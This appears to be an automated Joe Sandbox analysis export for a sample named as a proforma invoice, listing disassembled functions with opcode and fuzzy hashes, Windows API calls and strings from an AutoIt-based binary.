Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID:
String ID: 0&O
API String ID: 0-4271367079
Opcode ID: 0b70af550e80e76b87cfb9924983c56c36a30c41895f2f3aae9106c721af074e
Instruction ID: 94ea1bbee25d9305de017ce3fa0df0cc6d94b659e5314927de18737e59679204
Opcode Fuzzy Hash: 0b70af550e80e76b87cfb9924983c56c36a30c41895f2f3aae9106c721af074e
Instruction Fuzzy Hash: 3D21D5322206118BDB28CF79C92367E77E5A754320F14863EE4A7C33D0DE79A904CB94

Function 00456DD9 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa0d7fc89741605b898211abcaddea1940808ad8bc12874aee965ee089f9f0ad
Instruction ID: a2eaf490058975377401805a7ccc709c3ae91a87e51ebbf99ddbcf9b38d6f8f1
Opcode Fuzzy Hash: aa0d7fc89741605b898211abcaddea1940808ad8bc12874aee965ee089f9f0ad
Instruction Fuzzy Hash: 61322321D29F014DD7639634D922336A649AFB73C6F15C737EC1AB5EA6EF68C4834104

Function 0043CC39 Relevance: .6, Instructions: 635COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0db585a8de55ddeef10de0778fd26b3014aec03de8c7f405821d383924d6fd
Instruction ID: 37f1d866d00d8ac35f3d38d142787613637f3b157ca026616ef9cc17e8e7d4fd
Opcode Fuzzy Hash: 5e0db585a8de55ddeef10de0778fd26b3014aec03de8c7f405821d383924d6fd
Instruction Fuzzy Hash: 6632E231A001458BDF28CE29C4D46FE77A1AB49305F28D56FD84EAB391D63CDD82DB49

Function 00427920 Relevance: .6, Instructions: 563COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd5b572fb366d35193ab6f488cbd638652e6b3836f202d18976fc2de3ac67ead
Instruction ID: 47bed548cb7e4ae24e56902eae3d7c8c27b391c48c5affb679663ec10e61dfde
Opcode Fuzzy Hash: bd5b572fb366d35193ab6f488cbd638652e6b3836f202d18976fc2de3ac67ead
Instruction Fuzzy Hash: 9722F370A00619DFDF14CF65D881AAEB7F1FF44304F50412AE812A7391EB39AD55CB5A

Function 004291C0 Relevance: .5, Instructions: 475COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0761cb3c76517f221e177f04b5b8ce85110d6f1aa8785145ad627b674398f86
Instruction ID: c8cba8efb9624fa2fff1a3672b08394bd2d1668e8ab4d243572b15e581d5def9
Opcode Fuzzy Hash: e0761cb3c76517f221e177f04b5b8ce85110d6f1aa8785145ad627b674398f86
Instruction Fuzzy Hash: F602D7B0E00215EBDB04DF55D881AAEB7F1FF44304F50816AE8069B391F739AE25CB99

Function 00441C77 Relevance: .3, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93657a121f16255c59120ad0d08fdbba6372c273009ad596b4ecdf6e8f3c6909
Instruction ID: 8d9784f3b6ce13ceb10b824f4bb96b1214125c8e1069b207d8a54b151cb90113
Opcode Fuzzy Hash: 93657a121f16255c59120ad0d08fdbba6372c273009ad596b4ecdf6e8f3c6909
Instruction Fuzzy Hash: E69188B26080E349FB294639857403FFFE15A523A131A079FD4F2CB2E1FE289995D624

Function 004419B0 Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40101273f58913c3cb3bc7eb54df01d47b4121c3e67d19f11ec2cb23d33ea445
Instruction ID: f5bffa161788b60d25944ff201e67ed38a22c53ec3fe7cc11e355d4db0434cb9
Opcode Fuzzy Hash: 40101273f58913c3cb3bc7eb54df01d47b4121c3e67d19f11ec2cb23d33ea445
Instruction Fuzzy Hash: 4C9167722090E34AFB2D467A857403FFFE19A923A1319079FD4F2CA2E1FD28D595D624

Function 00447A4A Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6df9c3003184db72d6bccbb4cd88fc373fa3a6f271a9638be847987f526703ef
Instruction ID: 4c972441179cb02064eac8bf28701be7c3eff607524fd8728329176319dab3af
Opcode Fuzzy Hash: 6df9c3003184db72d6bccbb4cd88fc373fa3a6f271a9638be847987f526703ef
Instruction Fuzzy Hash: 8A61577120878956FA349A288C95BBF7394DF41748F10091FE982EB382DB1DAE43C35E

Function 00441706 Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70da388f96bbbf26b230a155b4728740b34f0d100ea60ab2bbadb9d7d0befbf0
Instruction ID: 0a038017cfb9468c7ea5115b0e029d50610cb4a7fb4b944722cd5ecc32d84351
Opcode Fuzzy Hash: 70da388f96bbbf26b230a155b4728740b34f0d100ea60ab2bbadb9d7d0befbf0
Instruction Fuzzy Hash: F38186726080E349FB6D423A857443FFFE15A923A131A079FD4F2CB2E1EE28C594D624

Function 017635E0 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2028177160.0000000001760000.00000040.00001000.00020000.00000000.sdmp, Offset: 01760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1760000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
Instruction ID: 7e6b5156d53e7a068e00860f1474c18640003672850afc5fd8b69229c6cbb6e5
Opcode Fuzzy Hash: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
Instruction Fuzzy Hash: 2A41C171D1051CEBDF48CFADC991AAEFBF2AF88201F548299D516AB345D730AB41DB80

Function 01763470 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2028177160.0000000001760000.00000040.00001000.00020000.00000000.sdmp, Offset: 01760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1760000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6091d3ab8c142cd01bdaf95ad615aaddba634de501579065cef803e1d5150a63
Instruction ID: ae057d8cbba2a53d138f1637f2ad70be30e3482638fa325815394959a92f714b
Opcode Fuzzy Hash: 6091d3ab8c142cd01bdaf95ad615aaddba634de501579065cef803e1d5150a63
Instruction Fuzzy Hash: 77019278A04109EFCB45DF98C5909AEFBB9FF48310F208599DD09A7741D730AE41DB80

Function 017634D0 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2028177160.0000000001760000.00000040.00001000.00020000.00000000.sdmp, Offset: 01760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1760000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2824983519b781728331ca74e43d8f1b114060d413125894b627f2317d3cf6f3
Instruction ID: 2d76ba475a4b64c4630196016812957d21acdbc75f9fdeeec5f61674700fc82d
Opcode Fuzzy Hash: 2824983519b781728331ca74e43d8f1b114060d413125894b627f2317d3cf6f3
Instruction Fuzzy Hash: 89019278A04209EFCB45DF98C5909AEF7B9FF48310F208599DC09A7701D730AE41DB80

Function 01761E70 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2028177160.0000000001760000.00000040.00001000.00020000.00000000.sdmp, Offset: 01760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1760000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1f80ac41b4fc2d45690e214ca5193b9bf4f67450f61a2a701b7f1fb86cd8f4e
Instruction ID: 2052e7d0eb43af8a57a5c2d707c06396f1b84aee57587abda472ed480d51124b
Opcode Fuzzy Hash: e1f80ac41b4fc2d45690e214ca5193b9bf4f67450f61a2a701b7f1fb86cd8f4e
Instruction Fuzzy Hash: 1AB012310527488BC2118B89E008B1073ECA308E04F1000B0D40C07B01827874008D48

Function 004A2ADE Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 486filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 004A2B30
DeleteObject.GDI32(00000000), ref: 004A2B43
DestroyWindow.USER32 ref: 004A2B52
GetDesktopWindow.USER32 ref: 004A2B6D
GetWindowRect.USER32(00000000), ref: 004A2B74
SetRect.USER32(?,00000000,00000000,00000007,00000002), ref: 004A2CA3
AdjustWindowRectEx.USER32(?,88C00000,00000000,?), ref: 004A2CB1
CreateWindowExW.USER32(?,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 004A2CF8
GetClientRect.USER32(00000000,?), ref: 004A2D04
CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 004A2D40
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 004A2D62
GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 004A2D75
GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 004A2D80
GlobalLock.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 004A2D89
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 004A2D98
GlobalUnlock.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 004A2DA1
CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 004A2DA8
GlobalFree.KERNEL32(00000000), ref: 004A2DB3
CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 004A2DC5
OleLoadPicture.OLEAUT32(?,00000000,00000000,004BFC38,00000000), ref: 004A2DDB
GlobalFree.KERNEL32(00000000), ref: 004A2DEB
CopyImage.USER32(00000007,00000000,00000000,00000000,00002000), ref: 004A2E11
SendMessageW.USER32(00000000,00000172,00000000,00000007), ref: 004A2E30
SetWindowPos.USER32(00000000,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 004A2E52
ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 004A303F

Strings

static, xrefs: 004A2D3A, 004A2E91
AutoIt v3, xrefs: 004A2CF2
, xrefs: 004A2FC5
DISPLAY, xrefs: 004A2EA2

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: f964bed5771760a4822a32404fae83f128c71b663f265e1686db502728d2a3fb
Instruction ID: a20c5d8d1aa4a72111b06a3d47fe432d18ceee52643494ea2bcaffbe409abdab
Opcode Fuzzy Hash: f964bed5771760a4822a32404fae83f128c71b663f265e1686db502728d2a3fb
Instruction Fuzzy Hash: 0D027E71A00215EFDB14DF68CD89EAE7BB9EF49314F008159F915AB2A1C774ED01CB68

Function 004B70D5 Relevance: 49.8, APIs: 33, Instructions: 273COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 004B712F
GetSysColorBrush.USER32(0000000F), ref: 004B7160
GetSysColor.USER32(0000000F), ref: 004B716C
SetBkColor.GDI32(?,000000FF), ref: 004B7186
SelectObject.GDI32(?,?), ref: 004B7195
InflateRect.USER32(?,000000FF,000000FF), ref: 004B71C0
GetSysColor.USER32(00000010), ref: 004B71C8
CreateSolidBrush.GDI32(00000000), ref: 004B71CF
FrameRect.USER32(?,?,00000000), ref: 004B71DE
DeleteObject.GDI32(00000000), ref: 004B71E5
InflateRect.USER32(?,000000FE,000000FE), ref: 004B7230
FillRect.USER32(?,?,?), ref: 004B7262
GetWindowLongW.USER32(?,000000F0), ref: 004B7284

Part of subcall function 004B73E8: GetSysColor.USER32(00000012), ref: 004B7421
Part of subcall function 004B73E8: SetTextColor.GDI32(?,?), ref: 004B7425
Part of subcall function 004B73E8: GetSysColorBrush.USER32(0000000F), ref: 004B743B
Part of subcall function 004B73E8: GetSysColor.USER32(0000000F), ref: 004B7446
Part of subcall function 004B73E8: GetSysColor.USER32(00000011), ref: 004B7463
Part of subcall function 004B73E8: CreatePen.GDI32(00000000,00000001,00743C00), ref: 004B7471
Part of subcall function 004B73E8: SelectObject.GDI32(?,00000000), ref: 004B7482
Part of subcall function 004B73E8: SetBkColor.GDI32(?,00000000), ref: 004B748B
Part of subcall function 004B73E8: SelectObject.GDI32(?,?), ref: 004B7498
Part of subcall function 004B73E8: InflateRect.USER32(?,000000FF,000000FF), ref: 004B74B7
Part of subcall function 004B73E8: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 004B74CE
Part of subcall function 004B73E8: GetWindowLongW.USER32(00000000,000000F0), ref: 004B74DB

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameRoundSolid
String ID:
API String ID: 4124339563-0
Opcode ID: 58c47426ae9cc7c34a412abf7e62a1c2beedf6f463240f9987c1eb67561e80d7
Instruction ID: 6572af3b34d631ae0e149745b2048eedf46d3d0955675ad82e320e9b57e59f2d
Opcode Fuzzy Hash: 58c47426ae9cc7c34a412abf7e62a1c2beedf6f463240f9987c1eb67561e80d7
Instruction Fuzzy Hash: C5A19472008311BFDB109F64DC88E9B7BA9FB89320F100B29F9A2961E1D775E945CF65

Function 00438D85 Relevance: 47.7, APIs: 26, Strings: 1, Instructions: 480windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?), ref: 00438E14
SendMessageW.USER32(?,00001308,?,00000000), ref: 00476AC5
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 00476AFE
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00476F43

Part of subcall function 00438F62: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00438BE8,?,00000000,?,?,?,?,00438BBA,00000000,?), ref: 00438FC5

SendMessageW.USER32(?,00001053), ref: 00476F7F
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 00476F96
ImageList_Destroy.COMCTL32(00000000,?), ref: 00476FAC
ImageList_Destroy.COMCTL32(00000000,?), ref: 00476FB7

Strings

0, xrefs: 00476DCF

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: DestroyImageList_MessageSend$Window$InvalidateMoveRectRemove
String ID: 0
API String ID: 2760611726-4108050209
Opcode ID: 5559a6a989fbf58bcc5fffd11d8de397489d6d9c7ec559a60781c25e965196c7
Instruction ID: 0dd34ef2ed4898154d5e6559c851f38f0f81e7ede99757ad7a732ae17919eeac
Opcode Fuzzy Hash: 5559a6a989fbf58bcc5fffd11d8de397489d6d9c7ec559a60781c25e965196c7
Instruction Fuzzy Hash: B2129D30200611EFD725CF24C885BA6BBA6FB49300F15856EF499CB261CB79EC52CF99

Function 004A2711 Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 330windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 004A273E
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 004A286A
SetRect.USER32(?,00000000,00000000,0000012C,?), ref: 004A28A9
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000008), ref: 004A28B9
CreateWindowExW.USER32(00000008,AutoIt v3,?,88C00000,000000FF,?,?,?,00000000,00000000,00000000), ref: 004A2900
GetClientRect.USER32(00000000,?), ref: 004A290C
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000), ref: 004A2955
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 004A2964
GetStockObject.GDI32(00000011), ref: 004A2974
SelectObject.GDI32(00000000,00000000), ref: 004A2978
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?), ref: 004A2988
GetDeviceCaps.GDI32(00000000,0000005A), ref: 004A2991
DeleteDC.GDI32(00000000), ref: 004A299A
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 004A29C6
SendMessageW.USER32(00000030,00000000,00000001), ref: 004A29DD
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,-0000001D,00000104,00000014,00000000,00000000,00000000), ref: 004A2A1D
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 004A2A31
SendMessageW.USER32(00000404,00000001,00000000), ref: 004A2A42
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000041,00000500,-00000027,00000000,00000000,00000000), ref: 004A2A77
GetStockObject.GDI32(00000011), ref: 004A2A82
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 004A2A8D
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?,?,?), ref: 004A2A97

Strings

msctls_progress32, xrefs: 004A2A13
static, xrefs: 004A294F, 004A2A71
AutoIt v3, xrefs: 004A28F8
DISPLAY, xrefs: 004A295A

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: 9c877ed2803b8ab4bcd894f7ad746940caf10ee5baf78ff2ed19a3a6046aa8b2
Instruction ID: cc7c96300ee0e110f9e669c036b8d3399ec37e8836578476c03bdc9ca9d07eb2
Opcode Fuzzy Hash: 9c877ed2803b8ab4bcd894f7ad746940caf10ee5baf78ff2ed19a3a6046aa8b2
Instruction Fuzzy Hash: 78B17E71A00215BFEB14DF69DD85FAE7BA9EB09714F004219F914EB2A0D774ED40CBA8

Function 00494ADF Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 191COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00494AED
GetDriveTypeW.KERNEL32(?,004BCB68,?,\\.\,004BCC08), ref: 00494BCA
SetErrorMode.KERNEL32(00000000,004BCB68,?,\\.\,004BCC08), ref: 00494D36

Strings

USB, xrefs: 00494CB4
SSD, xrefs: 00494C4A
SSA, xrefs: 00494CA6
FileBackedVirtual, xrefs: 00494CEC
ATAPI, xrefs: 00494C91
\\.\, xrefs: 00494B3F
Removable, xrefs: 00494C10, 00494C15
SAS, xrefs: 00494CC9
iSCSI, xrefs: 00494CC2
Unknown, xrefs: 00494BED, 00494C83
Fixed, xrefs: 00494C09
RAMDisk, xrefs: 00494BF4
Virtual, xrefs: 00494CE5
MMC, xrefs: 00494CDE
Fibre, xrefs: 00494CAD
SCSI, xrefs: 00494C8A
1394, xrefs: 00494C9F
SATA, xrefs: 00494CD0
PhysicalDrive, xrefs: 00494B76
ATA, xrefs: 00494C98
Network, xrefs: 00494C02
CDROM, xrefs: 00494BFB
RAID, xrefs: 00494CBB

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: ErrorMode$DriveType
